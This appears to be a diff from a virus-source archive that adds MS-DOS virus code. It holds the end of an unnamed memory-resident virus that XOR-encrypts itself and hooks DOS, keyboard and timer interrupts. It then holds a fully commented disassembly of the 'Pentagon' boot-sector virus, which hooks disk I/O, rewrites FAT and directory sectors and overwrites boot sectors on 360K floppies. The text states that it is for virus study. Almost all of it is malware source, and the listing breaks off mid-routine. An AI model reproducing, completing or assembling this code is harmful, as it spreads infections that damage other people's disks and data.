+infect_times: DB 0h +jump_add: db 0E9h,00,00,0F2h,42h; + +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** +;*********************************************************************** + +exit2: jmp exit +crypter: + push ax ;Encryptor Routine +loo: mov ah,byte ptr cs:[si] ;move byte into ah + xor ah,0AAh ;Xor it + mov byte ptr cs:[si],ah ;write it back + inc si + loop loo + pop ax + ret + + +load: mov ax,0f242h ; Check to see if we are + int 21h ; allready resident + cmp bx,0242fh ; looking for f242 tag + je exit2 + + + mov cx,(old_21-old_9) ;number of bytes to decrypt + mov si,offset old_9 + add si,bp + call crypter + + mov cx,(exec-data) ;number of bytes to decrypt + mov si,offset data + add si,bp + call crypter + + +dec_here: + push cs + pop ds + + mov ah,49h ;Release current Memory block + int 21h + + mov ah,48h ;Request Hugh size of memory + mov bx,0ffffh ;returns biggest size + int 21h + + + mov ah,4ah + sub bx,(vend-vstart+15)/16+1 ;subtract virus size + jc exit2 + int 21h + + + mov ah,48h + mov bx,(vend-vstart+15)/16 ;request last XXX pages + int 21h ;allocate it to virus + jc exit2 + + dec ax + + push es + + mov es,ax + + mov byte ptr es:[0],'Z' ;make DOS the owner + mov word ptr es:[1],8 + mov word ptr es:[3],(vend-vstart+15)/16 ;put size here + sub word ptr es:[12h],(vend-vstart+15)/16 ;sub size from current + ;memory + inc ax + + + lea si,[bp+offset vstart] ;copy it to new memory block + xor di,di + mov es,ax + mov cx,(vend-vstart+5)/2 + cld + rep movsw + + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[21h*4] ;swap vectors manually + mov word ptr es:[old_21-vstart],ax + mov word ptr es:[old_21-vstart+2],ds + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) + mov ds:[21h*4+2],es + + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[9h*4] + mov word ptr es:[old_9-vstart],ax + mov word ptr es:[old_9-vstart+2],ds + pop ds + mov word ptr ds:[9h*4],(new_9-vstart) + mov ds:[9h*4+2],es + + + + xor ax,ax + mov ds,ax + push ds + lds ax,ds:[8h*4] + mov word ptr es:[old_8-vstart],ax + mov word ptr es:[old_8-vstart+2],ds + pop ds + mov word ptr ds:[8h*4],(new_8-vstart) + mov ds:[8h*4+2],es + + + push cs + pop ds + + +exit: + push cs + pop es + + + ; now got to copy it back...... + + + mov cx,5 + mov si,offset buffer ;copy it back and run original + add si,bp ;program + mov di,100h + repne movsb + + mov bp,100h + jmp bp + + +vend equ $ + +seg_a ends + end start + + + + + + + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.pentagon.asm b/MSDOS/Virus.MSDOS.Unknown.pentagon.asm new file mode 100644 index 00000000..7c4248fd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pentagon.asm @@ -0,0 +1,989 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page 65,132 + title The 'Pentagon' Virus +; ÉĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ» +; ŗ British Computer Virus Research Centre ŗ +; ŗ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ŗ +; ŗ Telephone: Domestic 0273-26105, International +44-273-26105 ŗ +; ŗ ŗ +; ŗ The 'Pentagon' Virus ŗ +; ŗ Disassembled by Joe Hirst, March 1989 ŗ +; ŗ ŗ +; ŗ Copyright (c) Joe Hirst 1989. ŗ +; ŗ ŗ +; ŗ This listing is only to be made available to virus researchers ŗ +; ŗ or software writers on a need-to-know basis. ŗ +; ČĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ¼ + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The code section between offsets 59H and C4H (which is normally + ; encrypted) appears to have been separately assemblied using A86. + + ; Virus is possibly an honorary term, at least for this sample, + ; as all attempts to run it have so far failed. + + ; This virus consists of a boot sector and two files. + ; The boot sector is a normal PCDOS 3.20 boot sector with three + ; changes: + + ; 1. The OEM name 'IBM' has been changed to 'HAL'. + + ; 2. The first part of the virus code overwrites 036H to 0C5H. + + ; 3. 100H-122H has been overwritten by a character string. + + ; The name of the first file is the hex character 0F9H. This file + ; contains the rest of the virus code followed by the original boot + ; sector. + + ; The name of the second file is PENTAGON.TXT. This file does not + ; appear to be used in any way or contain any meaningful data. + + ; Both files are created without the aid of DOS, and the first + ; file is accessed by its stored absolute location. + + ; Four different sections of the virus are separately encrypted: + + ; 1. 004AH - 004BH, key 0ABCDH - load decryption key + + ; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector. + + ; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message. + + ; 4. 0800H - 09FFH, key 0FCH - the original boot sector. + +SEG70 SEGMENT AT 70H + ASSUME CS:SEG70 +EXIT: +SEG70 ENDS + +BOOT SEGMENT AT 0 + + ORG 413H +BW0413 DW ? + + ORG 417H +BB0417 DB ? + + ORG 51CH +BW051C DW ? + + ORG 7C0BH +DW7C0B DW ? + + ORG 7C18H +DW7C18 DW ? +DW7C1A DW ? + + ORG 7C2AH +DB7C2A DB ? + + ORG 7C37H +DW7C37 DW ? +DW7C39 DW ? +DB7C3B DB ? +DB7C3C DB ? +DW7C3D DW ? + + ORG 7DB7H +DB7DB7 DB ? + + ORG 7DFDH +DB7DFD DB ? + + ORG 7E00H +DW7E00 DW ? ; DW008F - Track and sector of rest of code +DW7E02 DW ? ; DW0091 - Head and drive of rest of code +DW7E04 DW ? ; DW0093 - Segment address of virus + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + + IF1 + ORG 206H +BP0095X LABEL NEAR + ENDIF + + ORG 0 +START: JMP BP0036 + + DB 'HAL 3.2' + + DW 512 ; BPB001 - Bytes per sector + DB 2 ; BPB002 - Sectors per allocation unit + DW 1 ; BPB003 - Reserved sectors + DB 2 ; BPB004 - Number of FATs + DW 112 ; BPB005 - Number of root dir entries + DW 720 ; BPB006 - Number of sectors + DB 0FDH ; BPB007 - Media Descriptor + DW 2 ; BPB008 - Number of sectors per FAT + DW 9 ; BPB009 - Sectors per track + DW 2 ; BPB010 - Number of heads + DW 0 ; BPB011 - Number of hidden sectors (low order) +BPB012 DW 0 ; Number of hidden sectors (high order) + + DB 10 DUP (0) + +HEADNO DB 0 + + ; Interrupt 30 (1EH) - Disk parameter table + +DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0) + + DB 1, 0 + +BP0036: CLI + MOV AX,CS ; \ Set SS to CS + MOV SS,AX ; / + MOV SP,0F000H ; Set stack pointer + MOV DS,AX ; Set DS to CS + STI + MOV BP,OFFSET BP0044+7C00H +BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction + NOP +DW004A EQU THIS WORD + MOV DH,0FCH ; Decryption key + MOV BP,OFFSET BP0059+7C00H ; Decryption start address + MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt +BP0052: XOR [BP+00],DH ; Decrypt a byte + INC BP ; Next byte + LOOP BP0052 ; Repeat for all of it + NOP +BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction + MOV AX,BW0413 ; Get RAM size in K + SUB AX,0005 ; Subtract five K + MOV BW0413,AX ; Replace amended RAM size + MOV CL,06 ; Bits to move + SHL AX,CL ; Convert to segment address + MOV DW0093+7C00H,AX ; Save segment address + NOP + MOV ES,AX ; Set ES to this segment + XOR DI,DI ; Move to start + MOV SI,7C00H ; From start of boot sector buffer + MOV CX,0200H ; Move one sector + CLD + REPZ MOVSB ; Move sector to high-core + NOP + + ; Move next section of code to a safe area + + MOV DI,200H+7C00H + MOV SI,OFFSET DW008F+7C00H + MOV CX,OFFSET DB00C5-DW008F ; Length to move + PUSH DS ; \ Set ES to DS + POP ES ; / + CLD + REPZ MOVSB ; Copy program section + JMP BP0095X ; This is BP0095 in new location + +DW008F DW 0B02H ; Track and sector of rest of code +DW0091 DW 100H ; Head and drive of rest of code +DW0093 DW 9EC0H ; Segment address of virus + +BP0095: MOV CX,0004 ; Number of retries +BP0098: PUSH CX + MOV CX,DW7E00 ; Get track and sector number + MOV DX,DW7E02 ; Get head and drive number + MOV ES,DW7E04 ; Get buffer segment address + MOV BX,0200H ; Buffer offset + MOV AX,0201H ; Read one sector + INT 13H ; Disk I/O + JNB BP00B8 ; Branch if no error + POP CX + XOR AH,AH ; Reset floppy disk sub-system + INT 13H ; Disk I/O + LOOP BP0098 ; Retry + INT 18H ; Drop into basic + +BP00B8: POP CX + MOV AX,OFFSET DW7E04 ; Address segment address + CLI + MOV SP,AX ; Point SP at segment address + STI + MOV AX,0200H ; \ Address of second section + PUSH AX ; / + RETF + +DB00C5 DB 50H + + ; The rest of this sector is a normal PCDOS 3.20 boot sector + ; which has been overwritten at 100H-122H by a character string + + DB 61H, 0 + + XOR AH,AH + INT 16H + POP SI + POP DS + POP [SI] + +DW00D0 DW 0B06H ; Track and sector numbers +DW00D2 DW 0100H ; Head and drive numbers + DB 19H + + MOV SI,OFFSET DB7DB7 + JMP NEAR PTR DB00C5 + + MOV AX,BW051C + XOR DX,DX + DIV DW7C0B + INC AL + MOV DB7C3C,AL + MOV AX,DW7C37 + MOV DW7C3D,AX + MOV BX,0700H + MOV AX,DW7C37 + CALL BP0137 + MOV AX,DW7C18 + SUB AL,DB7C3B + INC AX + PUSH AX + + DB '(c) 1987 The Pentagon, Zorell Group' + + DB 7CH + JMP FAR PTR EXIT + +BP0129: LODSB + OR AL,AL + JZ BP0150 + MOV AH,0EH + MOV BX,7 + INT 10H + JMP BP0129 + +BP0137: XOR DX,DX + DIV DW7C18 + INC DL + MOV DB7C3B,DL + XOR DX,DX + DIV DW7C1A + MOV DB7C2A,DL + MOV DW7C39,AX +BP0150: RET + + MOV AH,2 + MOV DX,DW7C39 + MOV CL,6 + SHL DH,CL + OR DH,DB7C3B + MOV CX,DX + XCHG CH,CL + MOV DL,DB7DFD + MOV DH,DB7C2A + INT 13H + RET + + DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH + DB 'Replace and strike any key when ready', 0DH, 0AH, 0 + DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0 + DB 'IBMBIO COMIBMDOS COM' + + ORG 01FEH + DW 0AA55H + + ; Second sector of virus + +BP0200: CLI + MOV SP,0F000H ; Reset stack pointer + STI + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + MOV BX,004CH ; INT 13H jump address + MOV BP,01A0H ; INT 68H jump address + CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use + JE BP0219 ; Branch if not + JMP BP024E + +BP0219: MOV AX,[BX] ; Get INT 13H offset + MOV DS:[BP+0],AX ; Set INT 68H to this offset + MOV AX,[BX+2] ; Get INT 13H segment + MOV DS:[BP+2],AX ; Set INT 68H to this segment + MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine + MOV AX,CS ; \ Set INT 13H segment + MOV [BX+2],AX ; / + MOV BX,0024H ; INT 9 jump address + MOV BP,01A4H ; INT 69H jump address + MOV AX,[BX] ; Get INT 9 offset + MOV DS:[BP],AX ; Set INT 69H to this offset + MOV AX,[BX+2] ; Get INT 9 segment + MOV DS:[BP+2],AX ; Set INT 69H to this segment + MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine + MOV AX,CS ; \ Set INT 9 segment + MOV [BX+02],AX ; / + JMP BP0254 + +BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM + ADD WORD PTR [BX],5 ; Restore the 5K +BP0254: MOV BP,OFFSET DW008F ; Address virus pointer + MOV CX,CS:[BP] ; Get track and sector + MOV DX,CS:[BP+2] ; Get head and device + MOV BX,0200H ; Address second sector + MOV CX,3 ; Three sectors to read +BP0265: PUSH CX ; Save read count + MOV AX,0201H ; Read one sector + MOV CX,CS:[BP] ; Get track and sector + CALL BP0300 ; Address to next sector + MOV CS:[BP],CX ; Save new track and sector + ADD BX,0200H ; Address next buffer area + CALL BP031B ; Read from disk + JNB BP0280 ; Branch if no error + POP CX + INT 18H ; Drop into basic + + ; Read file, first sector + +BP0280: POP CX ; Retrieve read count + LOOP BP0265 ; Repeat for other sectors + MOV BP,OFFSET DW00D0 ; Address file pointers + MOV CX,CS:[BP] ; Get track and sector + MOV DX,CS:[BP+2] ; Get head and drive + MOV BX,1000H ; Buffer address + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP029B ; Branch if no error + INT 18H ; Drop into basic + + ; Read file, second sector + +BP029B: CALL BP0300 ; Address to next sector + ADD BX,0200H ; Update buffer address + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP02AC ; Branch if no error + INT 18H ; Drop into basic + +BP02AC: LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to decrypt + MOV AL,0AAH ; Load encryption key + PUSH CS ; \ Set DS to CS + POP DS ; / + CALL BP0315 ; Decrypt + MOV AX,CS ; \ + MOV ES,AX ; ) Set ES & DS to CS + MOV DS,AX ; / + MOV DI,0100H ; Middle of 1st sector + MOV SI,OFFSET DB07BC ; Address copyright message + MOV CX,0023H ; Length of copyright message + REPZ MOVSB ; Copy copyright message + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV CX,0200H ; Length to decrypt + MOV BX,0800H ; Address boot sector store + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Decrypt + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + MOV DI,7C00H ; Boot sector buffer + MOV SI,0800H ; Address boot sector store + MOV CX,0200H ; Sector length + CLD + REPZ MOVSB ; Copy boot sector + DB 0EAH ; Far jump to boot sector + DW 7C00H, 0 + + DB 16 DUP (0) + + ; Address to next sector + +BP0300: INC CL ; Increment sector number + CMP CL,0AH ; Is it sector ten? + JL BP0314 ; Branch if not + MOV CL,1 ; Set sector to one + INC DH ; Increment head + CMP DH,2 ; Is it head two? + JL BP0314 ; Branch if not + XOR DH,DH ; Set head to zero + INC CH ; Increment track +BP0314: RET + + ; Encrypt/decrypt + +BP0315: XOR [BX],AL ; Encrypt a byte + INC BX ; Address next byte + LOOP BP0315 ; Repeat for count + RET + + ; Read from or write to disk + +BP031B: PUSH SI + PUSH DI + MOV SI,AX ; Save function + MOV DI,CX ; Save track and sector + MOV CX,3 ; Number of retries +BP0324: PUSH CX + MOV AX,SI ; Retrieve function + MOV CX,DI ; Retrieve track and sector + INT 68H ; Disk I/O + JNB BP0338 ; Branch if no error + XOR AH,AH ; Reset sub-system + INT 68H ; Disk I/O + POP CX ; Retrieve number of retries + LOOP BP0324 ; Retry + STC + JMP BP033B + +BP0338: POP CX ; Retrieve number of retries + MOV CX,DI ; Retrieve track and sector +BP033B: POP DI + POP SI + RET + + ; Find unused FAT entry pair + +BP033E: PUSH AX + PUSH DX + PUSH ES + PUSH DI + PUSH CS + POP ES + MOV DX,CX ; Initial cluster number + XOR AL,AL ; Search for zero +BP0348: MOV CX,3 ; Three bytes to check + MOV DI,BX ; Address FAT entry pair + REPZ SCASB ; Scan for non-zero + CMP CX,0 ; Is FAT pair unused + JE BP0361 ; Branch if yes + ADD BX,3 ; Address next entry pair + ADD DX,2 ; Update entry count + CMP DX,0162H ; Entry 354? + JLE BP0348 ; Process entry pair if not + STC +BP0361: MOV CX,DX ; Cluster number found + POP DI + POP ES + POP DX + POP AX + RET + + ; Find and flag an unused entry + +BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry + JZ BP0384 ; Branch if unused + INC CX ; Next entry number + INC BX ; Address 2nd entry + TEST WORD PTR [BX],0FFF0H ; Test second FAT entry + JZ BP038B ; Branch if unused + INC CX ; Next entry number + ADD BX,2 ; Address next entry pair + CMP CX,0163H ; Entry 355? + JLE BP0368 ; Process next FAT pair if not + STC + JMP BP0390 + +BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF + JMP BP038F + +BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF + nop ; ** length adjustment, MASM 5.0 +BP038F: CLC +BP0390: RET + + ; Unflag Brain virus bad clusters + +BP0391: PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV DX,CX +BP0397: MOV AX,[BX] ; Get FAT entry + AND AX,0FFFH ; Isolate FAT entry + CMP AX,0FF7H ; Bad cluster? + JE BP03B8 ; Branch if yes + INC DX ; Add to cluster number + INC BX ; Address next entry + MOV AX,[BX] ; Get FAT entry + MOV CL,4 ; Bits to move + SHR AX,CL ; Move FAT entry + CMP AX,0FF7H ; Bad Cluster? + JE BP03C8 ; Branch if yes + INC DX ; Add to cluster number + ADD BX,2 ; Address next pair of entries + CMP DX,015FH ; Entry 351? + JLE BP0397 ; Process this pair if not +BP03B8: MOV WORD PTR [BX],0 ; \ + MOV BYTE PTR [BX+2],0 ; ) Clear three entries + XOR WORD PTR [BX+3],0FF7H ; / + JMP BP03D5 + +BP03C8: XOR WORD PTR [BX],0FF7H ; \ + MOV WORD PTR [BX+2],0 ; ) Clear three entries + MOV BYTE PTR [BX+4],0 ; / +BP03D5: POP DX + POP CX + POP BX + POP AX + RET + + ; Convert cluster number to track, head and sector + +BP03DA: PUSH AX + PUSH BX + SUB CX,2 ; Subtract number of 1st cluster + ADD CX,CX ; Two sectors per cluster + ADD CX,0CH ; Add sector num of 1st cluster + MOV AX,CX ; Copy sector number + PUSH AX ; Save sector number + MOV BL,9 ; Nine sectors per track + DIV BL ; Divide by sectors per track + INC AH ; First sector is one + MOV CL,AH ; Move sector number + XOR AH,AH ; Clear top of register + MOV BL,2 ; Two heads + DIV BL ; Divide by heads + MOV DH,AH ; Move head number + POP AX ; Retrieve sector number + MOV BL,12H ; 18 sectors per track (both sides) + DIV BL ; Divide by sectors per track + MOV CH,AL ; Move track number + POP BX + POP AX + RET + + ; Update directory + +BP0401: PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + MOV CX,000FH ; Fifteen entries per sector + XOR DI,DI ; Start of sector + CMP AX,7 ; Is this first dir sector + JNE BP0416 ; Branch if not + SUB CX,3 ; Subtract three from count + ADD DI,60H ; Address fourth entry +BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on? + JNE BP0443 ; Branch if not + CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label? + JNE BP0443 ; Branch if not + MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on + PUSH SI + PUSH DI + PUSH CX + ADD DI,BX ; Add sector address + LEA SI,DB07B1 ; Address label + MOV CX,000BH ; Length of new label + CLD + REPZ MOVSB ; Copy label + MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off + POP CX + POP DI + POP SI +BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused? + JE BP0452 ; Branch if yes + ADD DI,20H ; Address next entry + LOOP BP0416 ; Process next entry + STC + JMP BP0487 + +BP0452: ADD DI,BX ; Add sector address + MOV BX,DI ; Move entry address + MOV BYTE PTR [BX],0F9H ; "Filename" + MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes + MOV CX,CS:DW0784 ; Get virus cluster number + MOV [BX+1AH],CX ; Store starting cluster + MOV WORD PTR [BX+1CH],0800H ; \ File size 2048 + MOV WORD PTR [BX+1EH],0 ; / + ADD DI,20H ; Address next entry + MOV BX,DI ; Move entry address + LEA SI,DB0791 ; Address start of encrypted + MOV CX,0020H ; One complete entry to move + CLD + REPZ MOVSB ; Move entry + MOV CX,CS:DW0786 ; Get file cluster number + MOV [BX+1AH],CX ; Store starting cluster + CLC +BP0487: POP DI + POP SI + POP DX + POP CX + POP BX + RET + + ; Read actual boot sector - Brain infected + +BP048D: PUSH AX + PUSH CX + PUSH DX + MOV CX,[BX+7] ; Get track and sector + MOV DH,[BX+6] ; Get head number + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + POP DX + POP CX + POP AX + RET + + ; Generate a sound + +BP04A0: MOV BP,1 ; One loop + MOV AL,0B6H ; Counter two, both bytes, sq wave + OUT 43H,AL ; Set PIT control register + MOV AX,0533H ; Sound frequency + OUT 42H,AL ; Send first byte + MOV AL,AH ; Get second byte + OUT 42H,AL ; Send second byte + IN AL,61H ; Get port B + MOV AH,AL ; Save port B value + OR AL,3 ; Set sound bits on + OUT 61H,AL ; Send port B + SUB CX,CX ; Maximum loop count +BP04BA: LOOP BP04BA ; Delay + DEC BP ; Decrement count of loops + JNZ BP04BA ; Branch if not zero (it won't be) + MOV AL,AH ; Recover original port B + OUT 61H,AL ; Send port B + RET + + ; Int 13H routine + +BP04C4: STI + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH SI + PUSH ES + PUSH DI + MOV CS:DB0790,DL ; Save device + CMP AH,2 ; Is function a read? + JE BP04DA ; Branch if yes + JMP BP06FC ; Pass on to BIOS + +BP04DA: DEC CS:DB07E0 ; Decrement count + JZ BP04E4 ; Infect when zero + JMP BP06FC ; Pass on to BIOS + + ; Get boot sector + +BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16 + PUSH CS ; \ + POP AX ; \ Set DS & ES to CS + MOV DS,AX ; / + MOV ES,AX ; / + MOV BX,0800H ; Address boot sector store + MOV CX,1 ; Track zero, sector one + MOV DH,0 ; Head zero + MOV DL,CS:DB0790 ; Load device + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0508 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check for Brain virus + +BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector? + JNE BP051D ; Branch if not + MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on + CALL BP048D ; Read actual boot sector + JNB BP052D ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check for Pentagon virus + +BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off + CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon? + JNE BP052D ; Branch if not + JMP BP06FC ; Pass on to BIOS + + ; Check for DOS boot sector + +BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector + JE BP0538 ; Branch if yes + JMP BP06FC ; Pass on to BIOS + + ; Get first FAT sector + +BP0538: ADD BX,0200H ; Update buffer address + INC CL ; Next sector + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0549 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check media byte + +BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk + JE BP0551 ; Branch if yes + JMP BP06FC ; Pass on to BIOS + + ; Get second sector of FAT + +BP0551: ADD BX,0200H ; Update buffer address + INC CL ; Next sector + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0562 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch + JNE BP0573 ; Branch if off + MOV BX,0A03H ; Address first cluster in FAT + MOV CX,2 ; First cluster is number two + CALL BP0391 ; Unflag Brain virus bad clusters +BP0573: MOV BX,0A96H ; \ Start from cluster 100 + MOV CX,0064H ; / + CALL BP033E ; Find unused FAT entry pair + JNB BP0581 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0581: MOV CS:DW0784,CX ; Save virus cluster number + INC CX ; Next cluster number + MOV [BX],CX ; Put it in first FAT entry + OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF + nop ; ** length adjustment, MASM 5.0 + DEC CX ; Set cluster number back + CALL BP03DA ; Cluster num to trck/hd/sect + MOV CS:DW0788,CX ; Save virus track & sector + MOV CS:DW078A,DX ; Save virus head and drive + PUSH BP + MOV BP,OFFSET DW008F ; Address virus pointer + MOV CS:[BP+00],CX ; Save virus track & sector + MOV CS:[BP+03],DH ; Save virus head + POP BP + MOV BX,0A96H ; \ Start from cluster 100 + MOV CX,0064H ; / + CALL BP0368 ; Find an unused FAT entry + JNB BP05B7 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP05B7: MOV CS:DW0786,CX ; Save file cluster number + CALL BP03DA ; Cluster num to trck/hd/sect + MOV CS:DW078C,CX ; Save file track & sector + MOV CS:DW078E,DX ; Save file head and drive + PUSH BP + MOV BP,OFFSET DW00D0 ; Address file pointers + MOV CS:[BP],CX ; Save track and sector + MOV CS:[BP+3],DH ; Save head + POP BP + MOV AL,0FCH ; Load encryption key + MOV BX,0800H ; Address boot sector store + MOV CX,0200H ; Length to encrypt + CALL BP0315 ; Encrypt/decrypt + MOV BYTE PTR CS:DB07E0,20H ; Set count to 32 + LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to encrypt + MOV AL,0AAH ; Load encryption key + CALL BP0315 ; Encrypt/decrypt + MOV BX,0200H ; Virus second sector + MOV AX,0301H ; Write one sector + MOV CX,CS:DW0788 ; Get virus track & sector + MOV DX,CS:DW078A ; Get virus head and drive + MOV DL,CS:DB0790 ; Load device + CALL BP031B ; Write to disk + JNB BP0613 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0613: MOV AX,3 ; Three sectors to write +BP0616: PUSH AX ; Save write count + ADD BX,0200H ; Next sector buffer + MOV AX,0301H ; Write one sector + CALL BP0300 ; Address to next sector + CALL BP031B ; Write to disk + JB BP062D ; Branch if error + POP AX ; Retrieve write count + DEC AX ; Decrement count + JNZ BP0616 ; Repeat for each sector + JMP BP0631 + +BP062D: POP AX + JMP BP06FC ; Pass on to BIOS + + ; Write file + +BP0631: LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to encrypt + MOV AL,0AAH ; Load encryption key + CALL BP0315 ; Encrypt/decrypt + MOV BYTE PTR CS:DB07E0,10H ; Set count to 16 + MOV CX,CS:DW078C ; Get file track & sector + MOV DX,CS:DW078E ; Get file head and drive + MOV DL,CS:DB0790 ; Load device + MOV BX,1000H ; Address file buffer + MOV AX,2 ; Two sectors to write +BP065B: PUSH AX ; Save write count + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk + JB BP062D ; Branch if error + CALL BP0300 ; Address to next sector + ADD BX,0200H ; Address next sector buffer + POP AX ; Retrieve write count + DEC AX ; Decrement write count + JNZ BP065B ; Write each sector + MOV BX,OFFSET BP0059 ; Start of encrypted + MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Encrypt + XOR BX,BX ; Address start of virus + MOV AX,0301H ; Write one sector + MOV CX,1 ; Track zero, sector 1 + XOR DH,DH ; Head zero + CALL BP031B ; Write to disk + JNB BP068C ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Write 1st FAT sector + +BP068C: MOV BX,OFFSET BP0059 + MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Decrypt + MOV BX,0A00H ; Address 1st FAT sector + MOV AX,0301H ; Write one sector + MOV CX,2 ; Track zero, sector 2 + CALL BP031B ; Write to disk + JNB BP06A8 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Write 2nd FAT sector + +BP06A8: ADD BX,0200H ; Address 2nd FAT sector + MOV AX,0301H ; Write one sector + INC CX ; Next sector + CALL BP031B ; Write to disk + JNB BP06B8 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Create directory entries + +BP06B8: MOV BX,0E00H ; Address directory + MOV CX,5 ; Track zero, sector 5 + XOR DH,DH ; Head zero + MOV AX,7 ; Seven sectors to read +BP06C3: PUSH AX ; Save read count + MOV AX,0201H ; Read one sector + CALL BP0300 ; Address to next sector + CALL BP031B ; Read from disk + JB BP06F1 ; Branch if error + POP AX ; \ Retrieve and save read count + PUSH AX ; / + MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off + CALL BP0401 ; Update directory + JNB BP06F5 ; Branch if entry found + CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch + JNE BP06EA ; Branch if off + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk +BP06EA: POP AX ; Retrieve sector count + DEC AX ; Decrement sector count + JNZ BP06C3 ; Repeat for each sector + JMP BP06FC ; Pass on to BIOS + +BP06F1: POP AX + JMP BP06FC ; Pass on to BIOS + +BP06F5: POP AX + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk +BP06FC: POP DI + POP ES + POP SI + POP DS + POP DX + POP CX + POP BX + POP AX + INT 68H ; Disk I/O + RETF 2 + + ; Int 9 routine + +BP0709: PUSH 